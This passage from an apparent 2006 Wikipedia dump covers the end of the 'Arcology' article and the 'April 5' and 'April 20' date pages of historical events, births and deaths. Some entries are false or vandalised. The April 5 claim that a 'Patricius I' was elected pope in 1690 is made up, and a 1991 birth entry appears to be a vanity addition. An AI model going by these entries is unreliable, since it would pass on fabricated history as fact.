According to Soleri, the basic idea of an arcology stems from the idea that [[urbanization]] is claiming an excessive amount of space on [[Earth]] and that an elegant, but little practiced option, is simply to use what land we have more wisely.  In ''&quot;Arcology: The City in the Image of Man'',&quot; Soleri describes ways of compacting our city structures in three dimensions to combat two-dimensional urban sprawl.  While this led to many [[science fiction]] interpretations of [[domed city|domed cities]], Soleri's ideas aren't just the &quot;human beehive&quot; model popular in [[science fiction]].  They also encompass vast differences in societal thinking regarding some of the same things that [[Frank Lloyd Wright]] touched upon in [[transport]], [[agriculture]] and [[commerce]]. Soleri deepened Wright's ideas of what might specifically need to be done by exploring [[Factors of production|resource]] [[consumption]] and duplication, [[land reclamation]], elimination of most private transport in favor of [[public transport]] and greater use of social resources like [[public library|public libraries]]. This concept also emphasizes, in a broader scale, more efficient use of resources and compacting of urban space to preserve the environment. 

Some experts speculate that arcologies will become common in the [[information age]]. Construction methods for arcologies are being tested at [[Arcosanti]]. Otherwise, arcologies are restricted to paper proposals and fictional depictions, such as [[Larry Niven]] and [[Jerry Pournelle]]'s [[Oath of Fealty]] (novel) or as elements in [[computer and video games]], such as ''[[SimCity 2000]]'', ''[[Escape Velocity Nova]]'', and ''[[Deus Ex: Invisible War]]''.

The first arcology to be described in fiction was probably &quot;The Last Redoubt&quot; from ''[[The Night Land]]'' by [[William Hope Hodgson]], first published in 1912. It is a complete example of an arcology, including full artificial ecology, agriculture, and public transport by mobile roadways.

==Real-life visions==
Many cities in the world have had proposed or desired arcologies that never went far. [[Tokyo]] has had many, which are listed [http://www.emporis.com/en/wm/ci/bu/sk/li/?id=100297&amp;bt=8&amp;ht=2&amp;sro=1 here].

Apparently, a new &quot;eco-city&quot; or self-sustaining urban centre the size of a large western capital is to be built at [[Dongtan]] near [[Shanghai]] [http://observer.guardian.co.uk/business/story/0,6903,1635188,00.html]. The first phase is on target to open by 2010 and to be &quot;completed&quot; by 2040.

== Arcology in popular culture ==
The computer game ''[[SimCity 2000]]'' allows the construction of four different types of arcologies, with different models becoming available as the years pass. The most primitive model holds relatively few people and produces considerable pollution, while later models are clean and efficient.

A level of the computer game ''[[Deus Ex: Invisible War]]'' posits a futuristic arcology on the edge of an ancient [[Medina quarter|medina]] in [[Cairo]].

Arcologies are common elements in futuristic [[anime]] and [[manga]] titles. An example would be the [[post-apocalyptic]]/[[cyberpunk]] series ''[[Appleseed]]'' by [[Masamune Shirow]], in which arcologies dominate the skyline of the city Olympus.

In the 1982 [[cyberpunk]] film ''[[Blade Runner]]'' by [[Ridley Scott]], the main offices of the fictional Tyrell Corporation are located in an arcology; The Genom Tower arcologies (among other things) in the [[anime]] ''[[Bubblegum Crisis]]'' were partially inspired by the Tyrell arcology.

== See also ==
* [[Arcosanti]]
* [[Broadacre City]]
* [[Ecumenopolis]]
* [[Old Man River City/Super Urban Structure]]
* [[Bionic tower]], [[Shanghai]]

== External links ==
* [http://www.arcosanti.org/ Arcosanti.org] &amp;ndash; Official Webpage for a prototype arcology in [[Arizona]]
* [http://www.arcology.com/ Arcology.com] &amp;ndash; Useful links
* [http://groups.yahoo.com/group/arcology/ The Yahoo Group]
* [http://eserver.org/fiction/nightland/default.html The Night Land by William Hope Hodgson] (Full text online)
* [http://www.victorycities.com/ Victory City]
* [http://www.globalvillages.info/index.php/ArcologyWiki/ArcologyWiki A discussion of arcology concepts]

[[Category:Buildings and structures]]
[[Category:Planned cities]]
[[Category:Portmanteaus]]

[[de:Arkologie]]
[[es:Arcología]]
[[fr:Arcologie]]
[[he:&amp;#1488;&amp;#1512;&amp;#1511;&amp;#1493;&amp;#1500;&amp;#1493;&amp;#1490;&amp;#1497;&amp;#1492;]]
[[it:Arcologia]]</text>
    </revision>
  </page>
  <page>
    <title>April 5</title>
    <id>2194</id>
    <revision>
      <id>42039115</id>
      <timestamp>2006-03-03T11:04:18Z</timestamp>
      <contributor>
        <ip>220.236.201.157</ip>
      </contributor>
      <text xml:space="preserve">&lt;!-- Language links at bottom --&gt;
{| style=&quot;float:right;&quot;
|- 
|{{AprilCalendar}}
|-
|{{ThisDateInRecentYears|Month=April|Day=5}}
|}
'''[[April 5]]''' is the 95th day of the year in the [[Gregorian calendar]] (96th in [[leap year]]s). There are 270 days remaining.
==Events==
*[[33]] - (traditional date) [[Resurrection]] of [[Jesus]], according to the [[Christian]] gospels. (date est. by Sir [[Isaac Newton]])
*[[1242]] - During a battle on the ice of [[Chudskoye Lake]], [[Russia]]n forces rebuff an invasion attempt by the [[Teutonic Knights]].
*[[1614]] - In [[Virginia]], [[Native Americans in the United States|Native American]] [[Pocahontas]] marries [[England|English]] colonist [[John Rolfe]].  
*[[1621]] - The ''[[Mayflower (ship)|Mayflower]]'' sets sail from [[Plymouth, Massachusetts|Plymouth]] on a return trip to [[Great Britain]].  
*[[1654]] - The [[1654 Treaty of Westminster|Treaty of Westminster]], ending the [[First Anglo-Dutch War]], is signed. 
*[[1690]] - Patrizio Cardinal Ficca is elected pope and takes the name [[Patricius I]].
*[[1792]] - U.S. President [[George Washington]] [[veto]]s a bill designed to apportion representatives among [[U.S. state]]s. This was the first time the presidential veto had been used in the [[United States]]. 
*[[1804]] - The first recorded meteorite falls in Possil, [[Scotland]] ([[High Possil Meteorite]]).
*[[1862]] - [[American Civil War]]: [[Battle of Yorktown (1862)|Battle of Yorktown]]. The battle begins when Union forces under General [[George McClellan]] close in on the [[Confederate States of America|Confederate]] capital [[Richmond, Virginia]].
*[[1923]] - [[Firestone Tire and Rubber Company]] starts production of balloon-[[tire]]s.
*[[1930]] - In an act of [[civil disobedience]], [[Mohandas Gandhi]] breaks British law after marching to the sea and making [[salt]].  
*[[1936]] - [[Tupelo-Gainesville Outbreak]]: A F5 tornado slams into the north side of [[Tupelo, Mississippi]], killing 233. It is the 4th deadliest tornado in [[U.S.]] history.
*[[1942]] - [[World War II|Second World War]]: [[Japanese Navy]] attacks [[Colombo]] in [[Ceylon]] ([[Sri Lanka]]). [[Royal Navy]] [[Cruisers]] [[HMS Cornwall]] and [[HMS Dorsetshire]] are sunk southwest of the island.
*[[1945]] - [[Cold War]]: [[Socialist Federal Republic of Yugoslavia|Yugoslav]] leader [[Josip Broz|Josip &quot;Tito&quot; Broz]] signs an agreement with the [[Soviet Union|USSR]] allowing &quot;temporary entry of Soviet troops into Yugoslav territory.&quot;
*[[1949]] - [[Fireside Theater]] debuts on [[television]].
*1949 - A fire in a hospital in [[Effingham, Illinois]], [[United States]], kills 77 people.
*[[1951]] - [[Ethel and Julius Rosenberg]] are sentenced to death for performing [[espionage]] for the [[Soviet Union]].  
*[[1955]] - [[Winston Churchill]] resigns as [[Prime Minister of the United Kingdom]] amid indications of failing health.
*[[1956]] - In [[Sri Lanka]], the [[Mahajana Eksath Peramuna]] won the general elections in a lanslide and [[Solomon Bandaranaike|S.W.R.D. Bandaranaike]] sworn in as the Prime Minister.
*[[1957]] - In [[India]], [[Communist Party of India|Communists]] won the first elections in united [[Kerala]] and [[E. M. S. Namboodiripad]] sworn in as the first chief minister.
*[[1969]] - [[Vietnam War]]: Massive [[antiwar demonstration]]s are held in [[New York, New York|New York City]], [[San Francisco, California|San Francisco]], [[Los Angeles, California|Los Angeles]], [[Washington, D.C.]], and other cities around the [[United States]].
*[[1971]] - In [[Sri Lanka]], [[Janatha Vimukthi Peramuna]] launches insurrection against the [[United Front]] government of Mrs [[Sirimavo Bandaranaike]].  
*[[1972]] - Vietnam War: [[North Vietnam]]ese forces invade [[Binh Long Province]], launching a second front of the [[Nguyen Hue Offensive]].  
*[[1973]] - [[Pierre Messmer]] becomes Prime Minister of [[France]]
*[[1976]] - In the [[People's Republic of China]], the [[April Fifth Movement]] leads to the [[Tiananmen incident]].
*[[1986]] - [[1986 Berlin discotheque bombing|Bombing]] of the [[La Belle (discotheque)|La Belle Discotheque]] in [[West Berlin]], [[Germany]], kills three.
*[[1991]] - [[Atlantic Southeast Airlines|ASA]] [[Embraer]] [[Embraer EMB 120|EMB 120]] crashes in [[Brunswick, Georgia]], [[United States]], killing all 23 aboard.
*[[1992]] - Several hundred-thousand [[abortion rights]] demonstrators march in [[Washington, D.C.]]
*1992 - [[Siege of Sarajevo]] begins when Serb paramilitaries murder peace protestor Suada Dilberovic on the Skenderija Bridge.
*[[1993]] - The [[Child Support Act 1991]], administered by the [[Child Support Agency]], comes into effect in the [[United Kingdom]].
*[[1994]] - [[Kurt Cobain]] of the band [[Nirvana]] found dead after an apparently successful suicide attempt.
*[[1998]] -  In [[Japan]], the [[Akashi-Kaikyo Bridge]] linking [[Shikoku]] with [[Honshu]] and costing about US$3.8 billion, opens to traffic, becoming the largest [[suspension bridge]] in the world.    
*[[1999]] - Two [[Libya]]ns suspected of bringing down [[Pan Am flight 103]] in [[1988]] are handed over for eventual trial in the [[Netherlands]].  
*1999 - In [[Laramie, Wyoming]], [[United States]], Russell Henderson pleads guilty to [[kidnapping]] and felony [[murder]] in order to avoid a possible [[death penalty]] conviction for the [[hate crime]] killing of [[Matthew Shepard]].
*[[2005]] - [[ABC News]] anchor [[Peter Jennings]] announces on ''[[ABC World News Tonight|World News Tonight]]'' that he had been diagnosed with [[lung cancer]].  It was his last on-air appearance.

==Births==
*[[1288]] - [[Emperor Go-Fushimi]] of Japan (d. [[1336]])
*[[1472]] - [[Bianca Maria Sforza]], wife of [[Maximilian I, Holy Roman Emperor]] (d. [[1510]])
*[[1479]] - [[Guru Amar Das]], third Sikh Guru (d. [[1574]])
*[[1523]] - [[Blaise de Vigenère]], French diplomat and cryptographer (d. [[1596]])
*[[1588]] - [[Thomas Hobbes]], English philosopher (d. [[1679]])
*[[1604]] - [[Charles III, Duke of Lorraine]] (d. [[1675]])
*[[1622]] - [[Vincenzo Viviani]], Italian mathematician and scientist (d. [[1703]])
*[[1649]] - [[Elihu Yale]], American benefactor of Yale University (d. [[1721]])
*[[1692]] - [[Adrienne Lecouvreur]], French actress (d. [[1730]])
*[[1732]] - [[Jean-Honoré Fragonard]], French artist (d. [[1806]])
*[[1784]] - [[Louis Spohr]], German violinist and composer (d. [[1859]])
*[[1816]] - [[Samuel Freeman Miller]], U.S. Supreme Court Justice (d. 1890)
*[[1827]] - [[Joseph Lister]] English surgeon (d. [[1912]])
*[[1832]] - [[Jules Ferry]], French statesman (d. [[1893]])
*[[1837]] - [[Algernon Charles Swinburne]], English poet (d. [[1909]])
*[[1856]] - [[Booker T. Washington]], American educator (d. [[1915]])
*[[1871]] - [[Mirko Seljan]], Croatian explorer
*[[1875]] - [[Mistinguett]], French vaudeville performer (d. [[1956]])
*[[1893]] - [[Clas Thunberg]], Finnish speed skater (d. [[1973]])
*[[1900]] - [[Spencer Tracy]], American actor (d. [[1967]])
*[[1901]] - [[Melvyn Douglas]], American actor (d. [[1981]])
*[[1908]] - [[Bette Davis]], American actress (d. [[1989]])
*1908 - [[Herbert von Karajan]], Austrian conductor (d. [[1989]])
*1908 - [[Jagjivan Ram]], Indian politician (d. [[1986]])
*[[1909]] - [[Albert R. Broccoli]], American film producer (d. [[1996]])
*[[1911]] - [[Jussi Björling]], Swedish tenor (d. [[1960]])
*[[1912]] - [[John Le Mesurier]], British actor (d. [[1983]])
*[[1916]] - [[Gregory Peck]], American actor (d. [[2003]])
*[[1917]] - [[Robert Bloch]], American author (d. [[1994]])
*[[1920]] - [[Arthur Hailey]], American writer (d. [[2004]])
*1920 - [[Rafique Zakaria]], Indian author and legal expert (d. [[2005]])
*[[1922]] - [[Christopher Hewett]], British actor (d. [[2001]])
*1922 - [[Gale Storm]], American singer and actress
*[[1923]] - [[Michael Gazzo]], American actor (d. [[1995]])
*1923 - [[Nguyen Van Thieu]], President of South Vietnam (d. [[2001]])
*[[1926]] - [[Roger Corman]], American film director, producer, and writer
*[[1929]] - [[Ivar Giaever]], Norwegian physicist, [[Nobel Prize]] laureate
*1929 - [[Nigel Hawthorne]], British actor (d. [[2001]])
*1929 - [[Hugo Claus]], Belgian writer
*[[1931]] - [[Boris Strugatsky]], Russian author (d. [[1991]])
*[[1933]] - [[Larry Felser]], American sports columnist and writer
*[[1934]] - [[Frank Gorshin]], American actor (d. [[2005]])
*1934 - [[Roman Herzog]], German politician
*[[1935]] - [[Peter Grant]], British rock manager, actor ([[Led Zeppelin]],[[Bad Company]]) (d. [[1995]])
*[[1937]] - [[Colin Powell]], U.S. Secretary of State ([[2000]]-[[2004]])
*[[1941]] - [[Michael Moriarty]], American actor and political activist
*[[1942]] - [[Peter Greenaway]], Welsh film director
*[[1943]] - [[Max Gail]], American actor
*[[1944]] - [[Pedro Rossello]], former Governor of Puerto Rico
*[[1945]] - [[Tommy Smith]], English footballer
*[[1946]] - [[Jane Asher]], British actress, writer
*[[1947]] - [[Gloria Macapagal-Arroyo]], 14th [[President of the Philippines]]
*[[1949]] - [[Judith Resnik]], astronaut (d. [[1986]])
*[[1950]] - [[Agnetha Fältskog]], Swedish singer ([[ABBA]])
*[[1955]] - [[Janice Long]], English broadcaster
*[[1961]] - [[Lisa Zane]], American actress
*[[1962]] - [[Lana Clarkson]], American actress (d. [[2003]])
*[[1965]] - [[Mike McCready]], American musician ([[Pearl Jam]])
*[[1973]] - [[Pharrell Williams]], American musician and producer ([[The Neptunes]])
*[[1976]] - [[Fernando Morientes]], Spanish footballer
*[[1978]] - [[Stephen Jackson]], American basketball player
*1978 - [[Franziska van Almsick]], German swimmer
*[[1991]] - Peter McDonald, Australian Actor/Artist.

==Deaths==

*[[1168]] - [[Robert de Beaumont, 2nd Earl of Leicester]] (b. [[1104]])
*[[1419]] - [[Vincent Ferrer]], Spanish missionary and saint (b. [[1350]])
*[[1605]] - [[Adam Loftus (Archbishop)|Adam Loftus]], English Catholic archbishop
*[[1617]] - [[Alonso Lobo]], Spanish composer
*[[1676]] - [[John Winthrop, the Younger]], Governor of Connecticut (b. [[1606]])
*[[1693]] - [[Anne, Duchess of Montpensier]], French writer (b. [[1627]])
*[[1695]] - [[George Savile, 1st Marquess of Halifax]], English writer and statesman (b. [[1633]])
*[[1697]] - King [[Charles XI of Sweden]] (b. [[1655]])
*[[1717]] - [[Jean Jouvenet]], French painter (b. [[1647]])
*[[1735]] - [[William Derham]], English minister and writer (b. [[1657]])
*1735 - [[Samuel Wesley (poet)|Samuel Wesley]], English poet and religious leader (b. [[1662]])
*[[1765]] - [[Edward Young]], English poet (b. [[1683]])
*[[1794]] - [[Georges Danton]], French Revolutionary leader (b. [[1759]])
*[[1923]] - [[George Herbert, 5th Earl of Carnarvon]], English financier of Egyptian excavations (b. [[1866]])
*[[1928]] - [[Roy Kilner]], English cricketer (b. [[1890]])
*[[1964]] - [[General]] [[Douglas MacArthur]], U.S. general (b. [[1880]])
*[[1967]] - [[Hermann Joseph Muller]], American geneticist, recipient of the [[Nobel Prize in Physiology or Medicine]] (b. [[1890]])
*1967 - [[Mischa Elman]], Ukrainian-born violinist (b. [[1891]])
*[[1970]] - [[Alfred Henry Sturtevant]], American geneticist (b. [[1891]])
*[[1972]] - [[Brian Donlevy]], American actor (b. [[1901]])
*[[1975]] - [[Chiang Kai-shek]], Chinese nationalist leader (b. [[1887]])
*[[1976]] - [[Howard Hughes]], American aviation pioneer, film director, and eccentric (b. [[1905]])
*1976 - [[Wilder Penfield]], Canadian surgeon (b. [[1891]])
*[[1982]] - [[Abe Fortas]], U.S. Supreme Court Justice (b. [[1910]])
*[[1983]] - [[Danny Rapp]], American musician ([[Danny &amp; the Juniors]]) (b. [[1941]])
*[[1991]] - [[John Tower]], U.S. Senator from Texas (b. [[1925]])
*1991 - [[Sonny Carter]], astronaut (b. [[1947]])
*[[1992]] - [[Molly Picon]], French actress (b. [[1898]])
*1992 - [[Sam Walton]], American retailer (b. [[1918]])
*[[1994]] - [[Kurt Cobain]], American musician (b. [[1967]])
*[[1997]] - [[Allen Ginsberg]], American poet (b. [[1926]])
*[[1998]] - [[Cozy Powell]], British musician (b. [[1947]])
*[[2000]] - [[Lee Petty]], American race car driver (b. [[1914]])
*[[2001]] - [[Brother Theodore]], German-born comedian (b. [[1906]])
*[[2002]] - [[Layne Staley]], American musician ([[Alice in Chains]]) (b. [[1967]])
*[[2004]] - [[Heiner Zieschang]], German mathematician (b. [[1936]])
*[[2005]] - [[Saul Bellow]], Canadian-born writer, [[Nobel Prize in Literature|Nobel Prize]] laureate (b. [[1915]])
*2005 - [[Dale Messick]], American comic strip artist  (b. [[1906]])
*2005 - [[Debralee Scott]], American actress (b. [[1953]])

==Holidays and observances==
* [[Mauritius]]: Ougadi
* [[Qingming Festival]] in the [[Chinese calendar]]
* [[Arbor Day]] in [[South Korea]]

==External links==
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/april/5 BBC: On This Day]
* [http://www.tnl.net/when/4/5 Today in History: April 5]

-----

[[April 4]] - [[April 6]] - [[March 5]] - [[May 5]] &amp;ndash; [[historical anniversaries|listing of all days]]

{{months}}

[[af:5 April]]
[[ar:5 إبريل]]
[[an:5 d'abril]]
[[ast:5 d'abril]]
[[bg:5 април]]
[[be:5 красавіка]]
[[bs:5. april]]
[[ca:5 d'abril]]
[[ceb:Abril 5]]
[[cv:Ака, 5]]
[[co:5 d'aprile]]
[[cs:5. duben]]
[[cy:5 Ebrill]]
[[da:5. april]]
[[de:5. April]]
[[et:5. aprill]]
[[el:5 Απριλίου]]
[[es:5 de abril]]
[[eo:5-a de aprilo]]
[[eu:Apirilaren 5]]
[[fo:5. apríl]]
[[fr:5 avril]]
[[fy:5 april]]
[[ga:5 Aibreán]]
[[gl:5 de abril]]
[[ko:4월 5일]]
[[hr:5. travnja]]
[[io:5 di aprilo]]
[[ilo:Abril 5]]
[[id:5 April]]
[[ia:5 de april]]
[[ie:5 april]]
[[is:5. apríl]]
[[it:5 aprile]]
[[he:5 באפריל]]
[[jv:5 April]]
[[ka:5 აპრილი]]
[[csb:5 łżëkwiôta]]
[[ku:5'ê avrêlê]]
[[lt:Balandžio 5]]
[[lb:5. Abrëll]]
[[li:5 april]]
[[hu:Április 5]]
[[mk:5 април]]
[[ms:5 April]]
[[nap:5 'e abbrile]]
[[nl:5 april]]
[[ja:4月5日]]
[[no:5. april]]
[[nn:5. april]]
[[oc:5 d'abril]]
[[pl:5 kwietnia]]
[[pt:5 de Abril]]
[[ro:5 aprilie]]
[[ru:5 апреля]]
[[se:Cuoŋománu 5.]]
[[sco:5 Aprile]]
[[sq:5 Prill]]
[[scn:5 di aprili]]
[[simple:April 5]]
[[sk:5. apríl]]
[[sl:5. april]]
[[sr:5. април]]
[[fi:5. huhtikuuta]]
[[sv:5 april]]
[[tl:Abril 5]]
[[tt:5. Äpril]]
[[te:ఏప్రిల్ 5]]
[[th:5 เมษายน]]
[[vi:5 tháng 4]]
[[tr:5 Nisan]]
[[uk:5 квітня]]
[[ur:5 اپریل]]
[[wa:5 d' avri]]
[[war:Abril 5]]
[[zh:4月5日]]
[[pam:Abril 5]]</text>
    </revision>
  </page>
  <page>
    <title>April 20</title>
    <id>2195</id>
    <revision>
      <id>41993548</id>
      <timestamp>2006-03-03T02:28:55Z</timestamp>
      <contributor>
        <username>CJLL Wright</username>
        <id>259138</id>
      </contributor>
      <comment>rm vanity, to last by CJLL Wright</comment>
      <text xml:space="preserve">&lt;!-- Language links at bottom --&gt;
{| style=&quot;float:right;&quot;
|- 
|{{AprilCalendar}}
|-
|{{ThisDateInRecentYears|Month=April|Day=20}}
|}
'''[[April 20]]''' is the 110th day of the year in the [[Gregorian calendar]] (111th in [[leap year]]s). There are 255 days remaining.
==Events==
*[[1653]] - [[Oliver Cromwell]] dissolves the [[Rump Parliament]].
*[[1657]] - [[Jew]]s of [[New Amsterdam]] (later [[New York City]]) granted freedom of religion.
*[[1689]] - The former King [[James II of England]], now deposed, lays siege to [[Derry]].
*[[1770]] - Lieutenant [[James Cook]]'s expedition (first voyage) makes first sighting of eastern [[Australia]]n coastline, naming the spot Cape Hicks. His logbook recorded the date as [[April 19]], but the 20th was the actual calendar date.
*[[1775]] - [[American Revolutionary War]]: [[Great Britain|British]] troops begin siege of [[Boston, Massachusetts]]
*[[1792]] - [[France]] declares war on [[Austria]].
*[[1836]] - [[Congress of the United States|U.S. Congress]] passes an act creating the [[Wisconsin Territory]].
*[[1861]] - [[American Civil War]]: [[Robert E. Lee]] resigns his commission in the [[United States Army]] in order to command the forces of the state of [[Virginia]].
*[[1862]] - The first [[pasteurization]] test completed by [[Louis Pasteur]] and [[Claude Bernard]].
*[[1884]] - [[Pope Leo XIII]] publishes the [[encyclical]], ''[[Humanum Genus]]''.  
*[[1902]] - [[Pierre Curie|Pierre]] and [[Maria Sklodowska-Curie|Marie Curie]] refine [[radium]] chloride.
*[[1908]] - Opening day of competition of the [[New South Wales Rugby League]].
*[[1912]] - Opening day for [[baseball]] [[stadium]]s [[Tiger Stadium]] in [[Detroit, Michigan|Detroit]], [[Michigan]], and [[Fenway Park]] in [[Boston, Massachusetts|Boston]], [[Massachusetts]].
*[[1914]] - Seventeen men, women, and children die in the [[Ludlow Massacre]] during a bitter [[Colorado]] coal-miner's strike.
*[[1918]] - [[Manfred von Richthofen]], aka The Red Baron, shoots down his 79th and 80th victims marking his final victories before his death the following day.
*[[1926]] - [[Western Electric]] and [[Warner Bros.]] announce [[Vitaphone]], a process to add sound to film.
*[[1945]] - [[United_States|US]] troops capture [[Leipzig]], [[Germany]], only to later cede the city to the [[Soviet Union]].
*[[1953]] - [[Project BLUEBIRD]] turns into [[Project MKULTRA]].
*[[1967]] - A [[Swiss Britannia]] turboprop crashes at [[Toronto]], [[Canada]], killing 126.
*[[1968]] - A [[South African Airways]] [[Boeing]] 707 crashes during takeoff at [[Windhoek]], [[South-West Africa]], killing 122.
*[[1968]] - [[Pierre Trudeau]] succeeds [[Lester B. Pearson]] as [[Prime Minister of Canada]].
*[[1968]] - English politician [[Enoch Powell]] makes his controversial [[Rivers of Blood Speech]].
*[[1972]] - [[Apollo 16]] lands on the [[Moon]].
*[[1978]] - [[Korean Air Flight 902]] shot down by [[Soviet Union|Soviets]].
*[[1979]] - [[President of the United States|President]] [[Jimmy Carter]] is attacked by a [[Swamp Rabbit]] while on vacation in [[Plains, Georgia]].
*[[1985]] - [[Bureau of Alcohol, Tobacco, and Firearms|ATF]] raid on [[The Covenant, The Sword, and the Arm of the Lord]] compound in northern [[Arkansas]]
*[[1992]] - An all-star concert in memory of [[Queen (band)|Queen]] frontman [[Freddie Mercury]] is held at [[Wembley Stadium]] in [[London]].
*[[1997]] - The [[San Diego Padres]] face the [[St. Louis Cardinals]] in the first [[Major League Baseball]] game ever played in [[Hawaii]].
*[[1998]] - An [[Air France]] [[Boeing 727]]-200 crashes into mountain after takeoff from [[Bogotá]], [[Colombia]], killing 53.
*[[1998]] - [[Germany|German]] terrorist group [[Red Army Faction]] announces their dissolution after 28 years.
*[[1999]] -  [[Eric Harris and Dylan Klebold]] kill 12 students and a teacher before turning their guns on themselves in the [[Columbine High School massacre]].
*[[2001]] - [[Anti-globalization]] marches and a &quot;People's Summit&quot; are held to protest the [[Quebec City Summit of the Americas]], a [[Free Trade Area of the Americas|FTAA]] summit in [[Quebec City, Quebec]].
*[[2002]] - The [[Darwin, Northern Territory|Darwin]]-based [[Network Against Prohibition]] holds its first Community Smoke-In for [[Human Rights]] in [[Darwin, Northern Territory|Darwin]], [[Australia]]. Police arrest five activists.
*[[2004]] - Severe [[thunderstorm]]s strike [[Chicagoland]], [[United States|USA]]. An F3 [[tornado]] touches down in [[Utica, Illinois]], claiming eight lives. 
*[[2004]] - In [[Iraq]], 12 mortars are fired on [[Abu Ghraib Prison]] by insurgents, killing 22 detainees and wounding 92.

==Births==
*[[570]] - [[Muhammad]], Founder of Islam (d. [[632]])
*[[702]] - [[Jafar Sadiq]], Muslim scholar (d. [[765]])
*[[1494]] - [[Johannes Agricola]], German protestant reformer (d. [[1566]])
*[[1586]] - [[Saint Rose of Lima]], Peruvian saint (d. [[1617]])
*[[1633]] - [[Emperor Go-Komyo of Japan]] (d. [[1654]])
*[[1650]] - [[William Bedloe]], English informer (d. [[1680]])
*[[1668]] - [[Yuri Troubetzkoy]], Governor of Belgorod (d. [[1739]])
*[[1718]] - [[David Brainerd]], American missionary (d. [[1747]])
*[[1723]] - [[Cornelius Harnett]], American delegate to the Continental Congress (d. [[1781]])
*[[1745]] - [[Philippe Pinel]], French physician (d. [[1826]])
*[[1808]] - Emperor [[Napoleon III of France]] (d. [[1873]])
*[[1818]] - [[Heinrich Göbel]], German-born inventor (d. [[1893]])
*[[1871]] - [[Slavoljub Eduard Penkala]], Croatian inventor, (d. [[1922]])
*[[1879]] - [[Paul Poiret]], French couturier (d. [[1944]])
*[[1882]] - [[Holland Smith]], U.S. General (d. [[1967]])
*[[1889]] - [[Albert Jean Amateau]], Turkish-born businessman and social activist (d. [[1996]])
*[[1889]] - [[Adolf Hitler]], Austrian-born German dictator (d. [[1945]])
*[[1893]] - [[Harold Lloyd]], American actor (d. [[1971]])
*[[1893]] - [[Joan Miró]], Catalan painter (d. [[1983]])
*[[1895]] - [[Emile Christian]], American musician (d. [[1973]])
*[[1896]] - [[Wop May]], Canadian aviator (d. [[1952]])
*[[1904]] - [[Bruce Cabot]], American actor (d. [[1972]])
*[[1908]] - [[Lionel Hampton]], American musician (d. [[2002]])
*[[1914]] - [[Betty Lou Gerson]], American actress (d. [[1999]])
*[[1915]] - [[Joseph Wolpe]], South African-born psychotherapist (d. [[1997]])
*[[1918]] - [[Edward L. Beach]], American naval officer, author (d. [[2002]])
*[[1918]] - [[Kai Siegbahn]], Swedish physicist, [[Nobel Prize in Physics|Nobel Prize]] laureate
*[[1920]] - [[John Paul Stevens]], U.S. Supreme Court Justice
*[[1923]] - [[Mother Angelica]], American nun and broadcaster
*[[1925]] - [[Tito Puente]], American musician (d. [[2000]])
*1925 - [[Ernie Stautner]], German-born American football player (d. [[2006]])
*[[1927]] - [[Karl Alexander Müller]], Swiss physicist, [[Nobel Prize in Physics|Nobel Prize]] laureate
*[[1928]] - [[Gerald S. Hawkins]], English astronomer (d. [[2003]])
*[[1939]] - [[Peter S. Beagle]], American author
*[[1939]] - [[Gro Harlem Brundtland]], [[Prime Minister of Norway]]
*[[1940]] - [[George Takei]], American actor
*[[1941]] - [[Ryan O'Neal]], American actor
*[[1943]] - [[John Eliot Gardiner]], English conductor
*[[1943]] - [[Edie Sedgwick]], American actress (d. [[1971]])
*[[1945]] - [[Steve Spurrier]], American football player and coach
*[[1947]] - [[Björn Skifs]], Swedish singer ([[Blue Swede]])
*[[1949]] - [[Massimo D'Alema]], [[Prime Minister of Italy]]
*[[1949]] - [[Jessica Lange]], American actress
*[[1950]] - [[Veronica Cartwright]], American actress
*[[1950]] - [[Aleksandr Lebed]], Russian general, politician (d. [[2002]])
*[[1951]] - [[Luther Vandross]], American singer (d. [[2005]])
*[[1961]] - [[Don Mattingly]], baseball player
*[[1963]] - [[Izhar Cohen]],illustrator
*[[1964]] - [[Crispin Glover]], American actor
*[[1964]] - [[Andy Serkis]], English actor
*[[1964]] - [[Rosalynn Sumners]], American figure skater
*[[1967]] - [[Raymond van Barneveld]], Dutch darts player
*[[1967]] - [[Mike Portnoy]], American musician
*[[1971]] - [[Carla Geurts]], Dutch swimmer 
*[[1972]] - [[Carmen Electra]], American actress
*[[1976]] - [[Joey Lawrence]], American actor
*1976 - [[Shay Given]], Irish footballer
*[[1980]] - [[Jasmin Wagner]], German singer
*[[2000]] - [[Funny Cide]], dual classic winner racehorse

==Deaths==
*[[1176]] - [[Richard de Clare, 2nd Earl of Pembroke]], English soldier (b. [[1130]])
*[[1314]] - [[Pope Clement V]] (b. [[1264]])
*[[1521]] - [[Zhengde]], Emperor of China (b. [[1491]])
*[[1534]] - [[Elizabeth Barton]], English nun (executed)
*[[1558]] - [[Johannes Bugenhagen]], German reformer (b. [[1485]])
*[[1643]] - [[Christoph Demantius]], German composer (b. [[1567]])
*[[1703]] - [[Lancelot Addison]], English royal chaplain (b. [[1632]])
*[[1765]] - [[Abigail Williams]], American accuser in the Salem witch trials (b. [[1674]])
*[[1769]] - [[Chief Pontiac|Pontiac]], Chief of the Ottawa
*[[1831]] - [[John Abernethy (surgeon)|John Abernethy]], English surgeon (b. [[1764]])
*[[1873]] - [[William Tite]], English architect (b. [[1798]])
*[[1899]] - [[Joseph Wolf]], German artist (b. [[1820]])
*[[1912]] - [[Bram Stoker]], Irish author (b. [[1847]])
*[[1918]] - [[Karl Ferdinand Braun]], German physicist, [[Nobel Prize in Physics|Nobel Prize]] laureate (b. [[1850]])
*[[1932]] - [[Giuseppe Peano]], Italian mathematician (b. [[1858]])
*[[1947]] - King [[Christian X of Denmark]] (b. [[1870]])
*[[1951]] - [[Ivanoe Bonomi]], [[Prime Minister of Italy]] (b. [[1873]])
*[[1982]] - [[Archibald MacLeish]], American poet and [[Librarian of Congress]] (b. [[1892]])
*[[1984]] - [[Hristo Prodanov]], Bulgarian mountaineer (b. [[1943]])
*[[1991]] - [[Steve Marriott]], British musician and actor (b. [[1945]])
*[[1991]] - [[Don Siegel]], American film director (b. [[1912]])
*[[1992]] - [[Benny Hill]], British comedian (b. [[1924]])
*[[1993]] - [[Cantinflas]], Mexican comedian and actor (b. [[1911]])
*[[1996]] - [[Christopher Robin Milne]], son of [[A.A. Milne]] (b. [[1920]])
*[[1999]] - [[List of victims of the Columbine High School massacre|Victims]] of the [[Columbine High School massacre]]
*[[1999]] - [[Richard Rood|Rick Rude]], American professional wrestler (b. [[1958]])
*[[1999]] - [[Señor Wences]], Spanish ventriloquist and comedian (b. [[1896]])
*[[2001]] - [[Giuseppe Sinopoli]], Italian conductor and composer (b. [[1946]])
*[[2002]] - [[Alan Dale (singer)|Alan Dale]], American singer (b. [[1925]])
